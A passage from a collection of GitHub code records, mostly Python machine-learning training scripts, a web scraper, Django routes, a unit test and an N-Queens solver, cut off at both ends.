print(t1)\ndaoru_df = pd.read_excel(daoru_file, index=False)\n\n\nprint(len(daoru_df.车牌号码))","repo_name":"xdpbydl/untitled111111","sub_path":"YunFu/teather_chepai.py","file_name":"teather_chepai.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36397210780","text":"import torch\nimport sys\nsys.path.append('src')\nfrom imports import *\nimport torchfile as tf\nimport numpy as np\nimport os\n\nbatchSize = 128\nplotIndex = 0\nlosses = []\nplotIndices = []\nlossClass = Criterion()\nlearningRate = 1e-6\ndata = None\nlabels = None\nreg = 1e-3 \nbatchSize = 64\ndataSize = 0\n\n\ndef train(model,lossClass,iterations, whenToPrint, batchSize, learningRate, par_regularization):\n\tglobal dataSize, plotIndex, losses, plotIndices, labels, data\n\tdataSize = data.size()[0]\n\tfor i in range(iterations):\n\t\tindices = (torch.randperm(dataSize)[:batchSize]).numpy()\n\t\tcurrentData = data[indices, :]\n\t\tcurrentLabels = labels.view(dataSize, 1)[indices, :]\n\t\tyPred = model.forward(currentData)\n\t\tlossGrad, loss = lossClass.backward(yPred, currentLabels)\n\t\tif i%whenToPrint == 0:\n\t\t\treg_loss = model.regularization_loss(par_regularization)\n\t\t\tprint(\"Iter - %d : Training-Loss = %.4f Regularization-Loss = %.4f and Total-loss = %.4f\"%(i, loss,reg_loss,loss+reg_loss))\n\t\t\t#losses.append(loss)\n\t\t\t#plotIndices.append(plotIndex)\n\n\t\tmodel.clearGradParam()\n\t\tmodel.backward(currentData, lossGrad)\n\t\tfor layer in model.Layers:\n\t\t\tif layer.isTrainable:\n\t\t\t\tlayer.weight -= learningRate*((1-momentum)*layer.gradWeight + momentum*layer.momentumWeight) + par_regularization*layer.weight\n\t\t\t\tlayer.bias -= learningRate*((1-momentum)*layer.gradBias + momentum*layer.momentumBias) + par_regularization*layer.bias\n\t\t\t\t#layer.weight -= (learningRate*layer.gradWeight + par_regularization*layer.weight)\n\t\t\t\t#layer.bias -= (learningRate*layer.gradBias + par_regularization*layer.bias)\n\t\tif i%(whenToPrint*10) == 0:\n\t\t\tprint(trainAcc())\t\n\t\tplotIndex += 1\n\ndef trainAcc():\n\tglobal model, data, label\n\tyPred = model.forward(data)\n\tN = data.size()[0]\n\treturn ((yPred.max(dim=1)[1].type(torch.LongTensor) == labels.type(torch.LongTensor)).sum())/N\n\ndef makeBestModel():\n\tmodel = Model()\n\tmodel.addLayer(Linear(108*108, 900))\n\tmodel.addLayer(ReLU())\n\tmodel.addLayer(Linear(900, 6))\n\tmodel.addLayer(ReLU())\n\treturn model\n\ndef trainModel():\n\tglobal model, batchSize, reg, learningRate, lossClass\n\titerations_count = 128*8000//batchSize\n\tlr_decay_iter = iterations_count//8\n\treg_zero = 2*iterations_count//10\n\n\tfor i in range(8):\n\t\ttrain(model,lossClass,lr_decay_iter,10, batchSize ,learningRate, reg)\n\t\tlearningRate /= 10\n\t\treg/=10\n\t\tprint(trainAcc())\n\treturn \n\n\ndef getData(pathToData, pathToLabels):\n\tglobal data, labels, dataSize\n\n\tnpLabels = tf.load(pathToLabels)\n\tnpData = tf.load(pathToData)\n\n\ttotalLabels = torch.from_numpy(npLabels)\n\ttotalData = torch.from_numpy(npData)\n\n\ttotalLabels = totalLabels.type(torch.DoubleTensor)\n\ttotalData = totalData.contiguous().view(totalData.size()[0], -1).type(torch.DoubleTensor)\n\n\tdata = totalData[:]\n\tlabels = totalLabels[:]\n\n\tdataSize = data.size()[0]\n\t# data = data.contiguous().view(dataSize, -1)\n\n\tdataMean = data.mean(dim=0)\n\tdata = data - dataMean\n\tdataStd = data.std(dim = 0, keepdim = True)\n\tdata = data/dataStd\n\treturn dataMean, dataStd\n\ndef saveModel(fileToSave):\n\tglobal model\n\tfile = open(fileToSave, 'wb')\n\ttorch.save(model, file)\n\tfile.close()\n\treturn \n\n\n\n\nargumentList = sys.argv[1:]\narguments = {}\nfor i in range(int(len(argumentList)/2)):\n\targuments[argumentList[2*i]] = argumentList[2*i + 1]\nmodel = makeBestModel()\ndataMean, dataStd = getData(arguments[\"-data\"], arguments[\"-target\"])\nmodel.saveMeanVariance(dataMean, dataStd)\ntrainModel()\n\ncommand = \"mkdir \" + arguments[\"-modelName\"]\nos.system(command)\nfileToSave = arguments[\"-modelName\"] + \"/model.bin\"\nsaveModel(fileToSave)\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Naman-ntc/CS763-Assignments","sub_path":"Assignment-3/CS763DeepLearningHW/final/trainModel.py","file_name":"trainModel.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"12341708313","text":"import pytest\nfrom chispa import assert_df_equality\n\nfrom cishouseholds.edit import assign_null_if_insufficient\n\n\n@pytest.mark.parametrize(\n \"expected_data\",\n [(1, \"sufficient\", 1), (0, \"sufficient\", 0), (1, \"Insufficient sample\", 1), (0, \"Insufficient sample\", None)],\n)\ndef test_assign_null_if_insufficient(spark_session, expected_data):\n schema = \"first_reference integer, second_reference string, edited integer\"\n expected_df = spark_session.createDataFrame(data=[expected_data], schema=schema)\n\n input_df = expected_df.drop(\"edited\")\n actual_df = assign_null_if_insufficient(input_df, \"edited\", \"first_reference\", \"second_reference\")\n assert_df_equality(actual_df, expected_df)\n","repo_name":"ONSdigital/cis_households","sub_path":"tests/edit/test_null_if_insufficient.py","file_name":"test_null_if_insufficient.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"20267717921","text":"import numpy\nfrom pylab import *\nimport tables\n\nLX = 50.0\nLY = 25.0\nB0 = 1/15.0\nn0 = 1.0\nmu0 = 1.0\nelcCharge = -1.0\nionCharge = 1.0\nionMass = 1.0\nelcMass = ionMass/25\nva = B0/sqrt(mu0*elcMass*n0)\n\nfh = tables.openFile(\"s279-gem-tenmom_q_30.h5\")\ntm = fh.root.timeData._v_attrs['vsTime']\nq = fh.root.StructGridField\nnx, ny = q.shape[0], q.shape[1]\n\nX = linspace(-LX/2, LX/2, nx)\nY = linspace(-LY/2, LY/2, ny)\nXX, YY = meshgrid(X, Y)\n\nez = q[:,:,22]\nne = q[:,:,0]/elcMass\nni = q[:,:,10]/ionMass\n\nrhoc = elcCharge*ne+ionCharge*ni\ndef calcDiv(X, Y, fld):\n dx = X[1]-X[0]\n dy = Y[1]-Y[0]\n divFld = 0.0*fld\n for i in range(1,fld.shape[0]-1):\n for j in range(1,fld.shape[1]-1):\n divFld[i,j] = (fld[i+1,j]-fld[i-1,j])/dx + (fld[i,j+1]-fld[i,j-1])/dy\n return divFld\n\nfigure(1)\ndivE = calcDiv(X, Y, ez)\npcolormesh(XX, YY, transpose(divE-rhoc))\ncolorbar()\n\nshow()\n","repo_name":"ammarhakim/ammar-simjournal","sub_path":"source/sims/s279/mkdiveplot.py","file_name":"mkdiveplot.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"72225149332","text":"from video.models import Video\nfrom rest_framework import routers\nfrom django.urls import path, include\n\nfrom . import views\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'video-list', views.VideoViewSet)\nrouter.register(r'comment-list', views.CommentViewSet)\nrouter.register(r'categories', views.VideoCategoryViewSet)\nrouter.register(r'report-reason', views.ReportReasonViewSet)\nrouter.register(r'watchlist', views.WatchlistViewSet)\n\nurlpatterns = [\n # For Viewing comments of particular video\n path('/comments/', views.comment),\n path('', include(router.urls)),\n path('video-vote/', views.videoVote, name='vote-video'),\n path('comment-vote/', views.commentVote, name='vote-comment'),\n path('report-video/', views.ReportVideo, name='report-video'),\n path('report-comment/', views.ReportComment, name='report-comment'),\n path('reported-video-list/', views.ReportedVideoList,\n name=\"reported-video-list\"),\n path('reported-video//', views.ReportedVideoDetail,\n name=\"reported-video-detail\"),\n path('reported-comment-list/', views.ReportedCommentList,\n name=\"reported-comment-list\"),\n path('reported-comment//', views.ReportedCommentDetail,\n name=\"reported-comment-detail\"),\n\n path('reported-video/final/', views.UpdateVideoStatus,\n name=\"updateVideoStatus\"),\n path('reported-comment/final/', views.UpdateCommentStatus,\n name=\"updateCommentStatus\"),\n\n # search\n path('video-search/', views.VideoSearchView.as_view(), name='videosearch'),\n # filters\n path('video-order/', views.VideoOrderView.as_view(), name='videoorder'),\n\n # check access for the video\n path('check-access//', views.VideoAccess, name=\"video-access\"),\n\n # get watchlists for a user \n path('get-watchlist/user/', views.watchListOfUser, name='watchlist-of-user'),\n]\n","repo_name":"amantibrewal310/vita","sub_path":"vita-django/video/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"34233918160","text":"import pandas as pd\nfrom sklearn.model_selection import GridSearchCV\nimport sklearn.neighbors as sk\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn import tree\nfrom sklearn.svm import SVC\nimport xgboost as xgb\n\ndef splitTrainTest(data):\n test_data = data.sample(n=round(len(data) * 0.3))\n data2 = data.drop(test_data[:].index)\n\n X_Train = data2.iloc[:, 1:7]\n Y_Train = data2.iloc[:, 0]\n\n X_Test = test_data.iloc[:, 1:7]\n Y_Test = test_data.iloc[:, 0]\n\n return X_Train, Y_Train, X_Test, Y_Test\n\n\n\ndef getBestModel(model_set, data):\n Models = []\n\n for m in model_set:\n Best_Model = hyperparameterTunning(m, data)\n Models.append(Best_Model)\n\n for i in range(len(Models)):\n j = i + 1\n if j < len(Models):\n comparison, best_score = comparingModel(Models[i], Models[j], data)\n if comparison == True:\n BestOption = Models[i]\n else:\n BestOption = Models[j]\n\n print(\"--------------------\")\n print(BestOption)\n print(best_score)\n print(\"--------------------\")\n\n return BestOption\n\ndef hyperparameterTunning(model, data):\n if model == \"KNN\":\n obj_model = sk.KNeighborsClassifier()\n print(model + \" PARAMS\")\n print(obj_model.get_params().keys())\n hyper_vals = {'n_neighbors' : [k+1 for k in range(20)],\n 'metric':['minkowski', 'manhattan', 'cityblock', 'cosine']}\n elif model == \"BinTree\":\n obj_model = tree.DecisionTreeClassifier()\n print(model + \" PARAMS\")\n print(obj_model.get_params().keys())\n hyper_vals = {'criterion':['gini', 'entropy'],\n 'splitter':['best', 'random'],\n 'min_samples_split': [2,3,4,5],\n 'min_impurity_decrease':[0.0, 0.05, 0.1, 0.15, 0.2]\n }\n elif model == \"KSVM\":\n obj_model = SVC()\n print(model + \" PARAMS\")\n print(obj_model.get_params().keys())\n hyper_vals = {'C': [0.25, 0.5, 0.75],\n 'kernel': ['linear', 'poly', 'rbf', 'sigmoid'],\n 'gamma': ['scale', 'auto']\n }\n elif model == \"XGBoost\":\n return xgboostTunning(data)\n\n grid_lr = GridSearchCV(estimator=obj_model, param_grid=hyper_vals, scoring='accuracy',\n cv=10, refit=True, return_train_score=True)\n\n X_Train, Y_Train, X_Test, Y_Test = splitTrainTest(data)\n grid_lr.fit(X_Train, Y_Train)\n preds = grid_lr.best_estimator_.predict(X_Test)\n hits = (preds == Y_Test).value_counts().loc[True]\n fails = (preds == Y_Test).value_counts().loc[False]\n accuracy = hits / (hits + fails)\n print(grid_lr.best_params_)\n print(\"Best Hyper Accuracy: \" + str(accuracy))\n\n return createModel(model, grid_lr)\n\n\ndef comparingModel(M1, M2, data):\n Niters = 100\n best_M1 = 0\n best_M2 = 0\n best_mean_score = 0\n if type(M1) == xgb.sklearn.XGBClassifier or type(M2) == xgb.sklearn.XGBClassifier:\n data['Sex'] = pd.to_numeric(data['Sex'])\n\n for i in range(Niters):\n data = data.sample(frac=1)\n scores_M1 = cross_val_score(M1, data.iloc[:, 1:7], data.iloc[:, 0], cv=10)\n scores_M2 = cross_val_score(M2, data.iloc[:, 1:7], data.iloc[:, 0], cv=10)\n\n if scores_M1.mean() > scores_M2.mean():\n best_M1 += 1\n best_mean_score = scores_M1.mean()\n else:\n best_M2 += 1\n best_mean_score = scores_M2.mean()\n\n\n if best_M1 > best_M2:\n return True, best_mean_score\n else:\n return False, best_mean_score\n\n\ndef xgboostTunning(data):\n X_Train, Y_Train, X_Test, Y_Test = splitTrainTest(data)\n\n\n #ONLY FOR TITANIC CASE\n X_Train['Sex'] = pd.to_numeric(X_Train['Sex'])\n X_Test['Sex'] = pd.to_numeric(X_Test['Sex'])\n # ONLY FOR TITANIC CASE\n\n\n hyper_vals = {'max_depth': [2, 6],\n 'eta': [1],\n 'objective': ['binary:logistic'],\n 'subsample':[0.25, 0.5, 0.75, 1],\n 'n_estimators': [5,10,1000], # number of trees, change it to 1000 for better results\n 'verbosity':[0]\n }\n obj_model = xgb.XGBClassifier()\n\n grid_lr = GridSearchCV(estimator=obj_model, param_grid=hyper_vals, scoring='accuracy',\n cv=10, refit=True, return_train_score=True)\n\n grid_lr.fit(X_Train, Y_Train)\n preds = grid_lr.best_estimator_.predict(X_Test)\n hits = (preds == Y_Test).value_counts().loc[True]\n fails = (preds == Y_Test).value_counts().loc[False]\n accuracy = hits / (hits + fails)\n print(grid_lr.best_params_)\n print(\"Best Hyper Accuracy: \" + str(accuracy))\n\n return createModel(\"XGBoost\", grid_lr)\n\ndef createModel(model, conf):\n if model == \"KNN\":\n return sk.KNeighborsClassifier(**conf.best_params_)\n elif model == \"BinTree\":\n return tree.DecisionTreeClassifier(**conf.best_params_)\n elif model == \"KSVM\":\n return SVC(**conf.best_params_)\n elif model == \"XGBoost\":\n return xgb.XGBClassifier(**conf.best_params_)","repo_name":"AlfonsoPonce/Kaggle-TitanicCompetition","sub_path":"ModelSelection.py","file_name":"ModelSelection.py","file_ext":"py","file_size_in_byte":5229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73449802454","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\n\ndef get_data():\n \"\"\"Получаем все url\"\"\"\n first_url = 'https://www.bundestag.de/ajax/filterlist/en/members/863330-863330?limit=12&noFilterSet=true'\n all_urls = [first_url, ]\n persons_url_list = []\n for i in range(12, 733, 20):\n url = f'https://www.bundestag.de/ajax/filterlist/en/members/863330-863330?limit=20&noFilterSet=true&offset={i}'\n all_urls.append(url)\n\n \"\"\"Получаем url на каждого человека\"\"\"\n for url in all_urls:\n response = requests.get(url)\n result = response.content\n\n soup = BeautifulSoup(result, 'lxml')\n persons = soup.find_all(class_='bt-open-in-overlay')\n\n for person in persons:\n person_page_url = person.get('href')\n persons_url_list.append(person_page_url)\n\n \"\"\"Записываем url'ы в файл\"\"\"\n with open('persons_all_url.txt', 'a') as file:\n for person_url in persons_url_list:\n file.write(f'{person_url}\\n')\n\n \"\"\"Отправляем запрос по каждой ссылке, забираем значение content и записываем в файл\"\"\"\n with open('persons_all_url.txt') as file:\n src = [line.strip() for line in file.readlines()]\n\n all_response = []\n\n for i in src:\n response = requests.get(i).content\n all_response.append(response)\n\n with open('test.txt', 'a') as file:\n for item in all_response:\n file.write(f'{item}\\n')\n\n\n with open('test.txt') as file:\n src = [line.strip() for line in file.readlines()]\n\n data_list = []\n count = 0\n for response in src:\n print(count)\n soup = BeautifulSoup(response, 'lxml')\n person_name_company = soup.find(class_='bt-biografie-name').find('h3').text.replace('\\\\n', '').strip()\n print(person_name_company)\n person_name = person_name_company.split(',')[0].strip()\n person_company = person_name_company.split(',')[1].strip()\n\n social_networks = soup.find_all(class_='bt-link-extern')\n all_urls_networks = []\n for item in social_networks:\n all_urls_networks.append(item.get('href'))\n\n data = {\n 'person_name' : person_name,\n 'company_name' : person_company,\n 'social_networks' : all_urls_networks\n }\n data_list.append(data)\n count += 1\n\n\n with open('all_persons.json', 'w') as file:\n json.dump(data_list, file, indent=4, ensure_ascii=False)\n\n\ndef main():\n get_data()\n\nif __name__ == '__main__':\n main()","repo_name":"CqNow/parsing","sub_path":"bundestag_parser/bundestag_parser.py","file_name":"bundestag_parser.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15584855630","text":"\nnew = list(map(int,input().split()))\ncoin = list(map(int,input().split()))\nflag=0\ncount=0\nn=len(new)\nold = [i for i in range(1,n+1)]\nfor i in range(n):\n if i-new.index(old[i])>coin[i]:\n flag=1\n break\n\n\nif flag==1:\n print(-1)\nelse:\n diff = []\n \n for i in range(n):\n diff.append(i-new.index(old[i]))\n for i in range(n):\n if diff[i]==0:\n diff[i]=float(\"-inf\")\n print(\"diff\",diff)\n print(\"Old array\",old)\n print(\"New array\",new)\n while old!=new:\n for i in range(1,len(old)):\n if diff[i]>0:\n new_index=new.index(old[i])\n index=i\n for j in range(i-1,new_index-1,-1):\n old[j],old[index] = old[index],old[j]\n index=j\n count+=1 \n print(\"count\",count)\n break\n diff[i]=float(\"-inf\")\n \n for i in range(n):\n diff[i]=(i-new.index(old[i]))\n for i in range(n):\n if diff[i]==0:\n diff[i]=float(\"-inf\")\n print(\"diff\",diff)\n print(\"Old array\",old)\n print(\"New array\",new)\n \n print(count)\n","repo_name":"Ratndeepk/Competitive-Programming","sub_path":"Interviewbit(Array)/Bribing was never easy .py","file_name":"Bribing was never easy .py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"67"} +{"seq_id":"29255718083","text":"import unittest\nfrom typing import List, Tuple\n\n\n# 既然每行只能有一个皇后,皇后的位置用的是一个一位数组: 数组下标表示皇后的行号,值表示皇后的纵坐标\nclass Solution(unittest.TestCase):\n TEST_CASES: List[Tuple[int, List[List[str]]]] = [\n (4, [[\".Q..\",\n \"...Q\",\n \"Q...\",\n \"..Q.\"],\n [\"..Q.\",\n \"Q...\",\n \"...Q\",\n \".Q..\"]]),\n ]\n\n def test_print_all_solutions(self):\n for n, output in self.TEST_CASES:\n self.assertEqual(output, self.print_all_solutions(n))\n\n # 52 ms, faster than 95.44% of Python3 online submissions for N-Queens.\n # 36 ms, faster than 99.12% of Python3 online submissions for N-Queens II.\n @staticmethod\n def print_all_solutions(n: int) -> List[List[str]]:\n \"\"\"\n 入口函数: N皇后问题1的入口函数\n \"\"\"\n results = []\n # TODO 优化思路: 初始化时设定Set的容量固定容量提高性能,例如Rust的: HashSet::with_capacity()\n # 斜率为左上到右下的直线方程的常系数b(x+y=b)\n # x+y的范围是0..2n,Java可以用一个长度为2*n-1的Boolean数组\n row_col_sum_memo = [False] * (2*n+1)\n # 斜率为右上到左下的直线方程的常系数b(x-y=b)\n # x-y的范围是-n..n,Java可以用一个长度为2*n-1的Boolean数组,不过坐标需要变换一下让-n..n => 0..2n\n row_col_diff_set = set()\n # 已使用的列号(推荐用List[bool])\n used_cols = [False] * n\n\n # 参数row表示下一个皇后的行号\n def search(queen_cols: List[int], row: int):\n if row == n:\n results.append(Solution.render_board(queen_cols, n))\n return\n\n for col in range(n):\n if used_cols[col]:\n continue\n row_col_sum = row + col\n if row_col_sum_memo[row_col_sum]:\n continue\n row_col_diff = row - col\n if row_col_diff in row_col_diff_set:\n continue\n\n queen_cols.append(col)\n used_cols[col] = True\n row_col_sum_memo[row_col_sum] = True\n row_col_diff_set.add(row_col_diff)\n\n search(queen_cols, row+1)\n\n queen_cols.pop()\n used_cols[col] = False\n row_col_sum_memo[row_col_sum] = False\n row_col_diff_set.remove(row_col_diff)\n\n search([], 0)\n return results\n\n # @staticmethod\n # def search(queens_col):\n # pass\n\n @staticmethod\n def count_solutions():\n \"\"\"\n 入口函数: N皇后问题2的入口函数\n 这题没什么变化,只不过将N皇后找到答案后render_board的函数改为自增count\n \"\"\"\n pass\n\n @staticmethod\n def render_board(queen_cols, n: int) -> List[str]:\n board = []\n for col in queen_cols:\n row = ['.'] * n\n row[col] = 'Q'\n board.append(''.join(row))\n return board\n\n @staticmethod\n def itertools_permutations_n_queen_solution(n: int):\n \"\"\"\n https://zhihu.com/question/37046157/answer/70747261\n http://wordaligned.org/articles/8-queens-puzzle\n https://leetcode.com/problems/n-queens/discuss/437421/Simple-python-3-solution-with-itertools.permutations\n 首先`itertools.permutations`保证了每个皇后的列号都不一样\n 因此只需要判断斜的方向有没有重合\n 皇后斜的方向就只有两种,左上-右下 和 右上-左下\n 而棋盘的左上-右下的直线方程的斜率为1、右上-左下的斜率为-1\n 左上-右下的直线方程为: y= x+b => x-y=-b\n 右上-左下的直线方程为: y=-x+b => x+y=b\n 所以表达式`queen_cols[i] + i`能得到右上-左下直线方程的“常系数b”\n 所以只要N皇后位置算出的斜率为1和斜率为-1的8条直线的常系数都不一样,则N皇后问题是正确的,否则必有两个皇后在同一条直线上\n \"\"\"\n import itertools\n # for queen_cols in itertools.permutations(range(n)):\n # # 一种通过斜率辨别法, 斜率为正的直线方程左上到右下,判断直线方程的常系数是否有相同的,相同说明两个皇后在一条斜线上\n # if n == len({queen_cols[i] + i for i in range(n)}) \\\n # == len({queen_cols[i] - i for i in range(n)}):\n # print({queen_cols[i] + i for i in range(n)})\n # print({queen_cols[i] - i for i in range(n)})\n # for col in queen_cols:\n # s = ['.'] * n\n # s[col] = 'Q'\n # print(''.join(s))\n # print()\n solutions = []\n # TODO itertools.permutations不用迭代器铁超时,只是这题时间限制放的很松\n for queen_cols in itertools.permutations(range(n)):\n if Solution.check_queen_cols_permutations(queen_cols):\n solutions.append(Solution.render_board(queen_cols, n))\n return solutions\n\n @staticmethod\n def check_queen_cols_permutations(queen_cols) -> bool:\n \"\"\"\n 仅用于检测itertools.permutations的皇后们斜方向是否有两个皇后在同一条直线上\n DFS解法中除了需要检测斜方向,还要检测列坐标有没有重复\n 而且这里检测斜方向的过程跟DFS回溯里不太一样\n 这里用的是HashSet方法,DFS里更多的是遍历一遍新坐标与老皇后逐个比较\n \"\"\"\n # 左上-右下方向的直线方程的常系数\n constant_of_minus_slope_of_liner = set()\n # 左上-右下方向的直线方程的常系数\n constant_of_positive_slope_of_liner = set()\n for x, y in enumerate(queen_cols):\n s = x + y\n if s in constant_of_minus_slope_of_liner:\n return False\n constant_of_minus_slope_of_liner.add(s)\n d = x - y\n if d in constant_of_positive_slope_of_liner:\n return False\n constant_of_positive_slope_of_liner.add(d)\n return True\n\n def test_itertools_permutations_n_queen_solution(self):\n self.itertools_permutations_n_queen_solution(4)\n\n\n\"\"\"\nN皇后的问题在LeetCode上DFS回溯的算法题里不算特别难,相比word_ladder_2代码量也很少\n\n只要代码结果拆分合理,这道题就很难写错,我认为这题可以拆为4个部分:\n\n- 入口函数\n- DFS搜索回溯函数(search)\n- 判断当前放置皇后的位置是否合法(is_invalid)\n- 将正确的皇后位置渲染成棋盘字符串(render_board),然后在DFS搜索回溯函数里加到答案集内\n\n我认为主要难点就两个 通过什么数据结构存储皇后的位置 和 如何判断某个位置是否合法\n\n既然每行只能有一个皇后,皇后的位置用的是一个一位数组: 数组下标表示皇后的行号,值表示皇后的纵坐标\n\n所以`for x, y in enumerate(queen_cols)`就能得到皇后们的行号和列号\n\n先看一段打印8皇后的简单版代码:\n\n```python\nimport itertools\nfor queen_cols in itertools.permutations(range(n)):\n if n == len({queen_cols[i] + i for i in range(n)}) \\\n == len({queen_cols[i] - i for i in range(n)}):\n for col in queen_cols:\n s = ['.'] * n\n s[col] = 'Q'\n print(''.join(s))\n print()\n```\n\n解释下`len({queen_cols[i] + i for i in range(n)})`这行为什么能验证N皇后\n\n首先`itertools.permutations`保证了每个皇后的列号都不一样\n\n因此只需要判断斜的方向有没有重合\n\n可以将棋盘看做一个初中数学的xoy坐标系,只不过顺时针转动了90度,y轴是横着的\n\n皇后斜的方向就只有两种,左上-右下 和 右上-左下\n\n而xoy坐标系下棋盘的左上-右下的直线方程的斜率为1、右上-左下的斜率为-1\n\n左上-右下的直线方程为: y= x+b => x-y=-b\n\n右上-左下的直线方程为: y=-x+b => x+y=b\n\n所以表达式`queen_cols[i] + i`能得到右上-左下直线方程的“常系数b”\n\n初中数学学过点-斜式方程,通过一点和斜率可以的得到直线方程\n\n所以只要N皇后位置算出的斜率为1和斜率为-1的8条直线的常系数都不一样,则N皇后问题是正确的,否则必有两个皇后在同一条直线上\n\"\"\"\n","repo_name":"pymongo/python_leetcode","sub_path":"dfs_perm_comb/n_queens.py","file_name":"n_queens.py","file_ext":"py","file_size_in_byte":8526,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30023393041","text":"\nimport torchvision \nimport pdb\nimport os\nimport torchvision.transforms as transforms\nfrom dataset import *\nimport torch\nimport torch.nn as nn\nfrom utils import *\nimport time\nimport numpy as np\nfrom imageretrievalnet import *\nfrom loss import *\nimport time\nimport argparse\nfrom MAP import *\nfrom test import test_single_dataset\nimport batchminer as bmine\nimport criteria as criteria\nimport parameters as par\n\nfrom torch import distributed as dist\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.utils.data import DataLoader\nimport torch\n\n\nclass DataLoaderX(DataLoader):\n def __iter__(self):\n return BackgroundGenerator(super().__iter__(), max_prefetch=10)\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef copyStateDict(state_dict):\n if list(state_dict.keys())[0].startswith(\"module\"):\n start_idx = 1\n else:\n start_idx = 0\n new_state_dict = OrderedDict()\n for k, v in state_dict.items():\n name = \".\".join(k.split(\".\")[start_idx:])\n new_state_dict[name] = v\n return new_state_dict\n\ndef gimme_save_string(opt):\n varx = vars(opt)\n base_str = ''\n for key in varx:\n base_str += str(key)\n if isinstance(varx[key],dict):\n for sub_key, sub_item in varx[key].items():\n base_str += '\\n\\t'+str(sub_key)+': '+str(sub_item)\n else:\n base_str += '\\n\\t'+str(varx[key])\n base_str+='\\n\\n'\n return base_str\n\n\nparser = argparse.ArgumentParser()\nparser = par.basic_training_parameters(parser)\nparser = par.batch_creation_parameters(parser)\nparser = par.batchmining_specific_parameters(parser)\nparser = par.loss_specific_parameters(parser)\nparser = par.wandb_parameters(parser)\nparser = par.origin_parameters(parser)\nparser.add_argument('--local_rank', type=int, help=\"local gpu id\")\nopt = parser.parse_args()\n\n\n\ndist.init_process_group(backend='nccl', init_method='env://')\nassert torch.cuda.is_available()\n#os.environ['CUDA_VISIBLE_DEVICES'] = config.GPU\ndevice = torch.device(\"cuda\")\ntorch.backends.cudnn.benchmark = True\ntorch.backends.cudnn.enable = True\ntorch.cuda.set_device(opt.local_rank)\nglobal_rank = dist.get_rank()\nworld_size = dist.get_world_size()\nopt.device = torch.device('cuda')\n\ndef main():\n\n\n log_str = gimme_save_string(opt)\n\n EPOCHS = opt.epoch\n\n BATCH_SIZE = opt.bs\n \n image_size = opt.imsize\n \n lr = opt.lr\n\n dataset = opt.dataset\n \n root = opt.dataroot\n \n ann_folder = os.path.join(root, 'retrieval_dict')\n \n train_file = os.path.join(ann_folder, 'train.txt')\n \n val_file = os.path.join(ann_folder, 'val.txt')\n \n imgs_root = os.path.join(root)\n\n net_name = opt.net\n\n cls_num = opt.cls_num\n\n ###############################################\n batch_p = opt.batch_p\n\n batch_k = opt.batch_k\n \n opt.bs = batch_p*batch_k\n \n \n\n\n model = image_net(net_name,opt).cuda()\n \n if opt.resume != None:\n checkpoint = torch.load(opt.resume)\n\n if isinstance(checkpoint,DataParallel):\n checkpoint = checkpoint.module.state_dict()\n model.load_state_dict(checkpoint)\n \n \n\n ####################################################\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n transform = transforms.Compose([\n transforms.ToTensor(),normalize\n ])\n \n\n criterion = nn.BCEWithLogitsLoss( reduction='mean' )\n \n criterion_cls = nn.CrossEntropyLoss()\n\n localtime = time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime())\n d = localtime+'_'+opt.loss;\n \n if opt.graph:\n d+='_graph'\n\n directory = os.path.join(dataset,d)\n \n if not os.path.exists(directory):\n os.makedirs(directory)\n with open(os.path.join(directory,\"Parametre.txt\"),'w') as f:\n f.write(log_str) \n if opt.loss == 'cross':\n train_dataset = ImagesForCls_list(imgs_root, train_file, image_size,transform=transform)\n else:\n train_dataset = TuplesDataset_list(imgs_root, train_file, image_size,batch_p = batch_p,batch_k = batch_k,transform=transform)\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=BATCH_SIZE, shuffle=True,\n num_workers=opt.kernels, pin_memory=True, sampler=None,\n )\n print('train dataloader finished!')\n \n\n test_dataset = ImagesForCls_list(imgs_root, val_file, image_size,transform=transform,is_validation=True)\n BATCH_SIZE = 512\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=BATCH_SIZE, shuffle=False,num_workers=8, pin_memory=True, sampler=None,)\n \n \n \n to_optim = [{'params':model.parameters(),'lr':lr,'momentum':opt.momentum,'weight_decay':1e-5}]\n\n\n #################### LOSS SETUP ####################\n if opt.loss != 'cross':\n batchminer = bmine.select(opt.batch_mining, opt)\n \n criterion_metric, to_optim = criteria.select(opt.loss, opt, to_optim, batchminer = batchminer)\n criterion_metric.cuda()\n \n \n\n if opt.optim == 'adam':\n optimizer = torch.optim.Adam(to_optim)\n elif opt.optim == 'sgd':\n optimizer = torch.optim.SGD(to_optim, momentum=0.9)\n else:\n raise Exception('Optimizer <{}> not available!'.format(opt.optim))\n\n exp_decay = math.exp(-0.01)\n scheduler = 